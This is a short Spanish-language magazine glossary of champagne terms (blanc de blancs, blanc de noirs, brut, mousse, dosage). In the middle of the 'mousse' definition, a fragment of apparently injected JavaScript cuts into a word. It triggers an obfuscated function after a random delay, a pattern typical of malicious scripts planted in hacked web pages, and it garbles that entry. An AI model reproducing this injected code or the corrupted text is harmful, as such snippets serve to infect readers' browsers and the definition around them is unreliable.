Guía de la champaña

    Guía de la champaña

    Te damos el argot champañero, entiende los términos de esta bebida.

    Autor: Redacción Maxim 24 abril, 2019


    FOTO: GettyImages

     

    Entiende el lenguaje champañero, para que sepas que significa cada termino tenemos esta guía para ti.

     

    BLANC DE BLANCS

    Champaña blanca elaborada exclusivamente a partir de uvas Chardonnay.

     

    BLANC DE NOIRS

    Champaña blanca hecha de Pinot Noir roja y Pinot Meunier.

     

    BRUT

    En seco, lo que significa que el vino tiene un mínimo de dosificación (menos de 12 gramos de azúcar por litro).

     

    MOUSSE

    La espuma que aparece en la parte superior de una copa de champaña cuandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando se vierte.

     

    DOSAGE

    Una mezcla de vino y azúcar que se añade a la mayoría de las champañas en el embotellado final para compensar la acidez del vino.

     

     

    Para esa noche especial, te dejamos esta selección de champaña.

     

     

     

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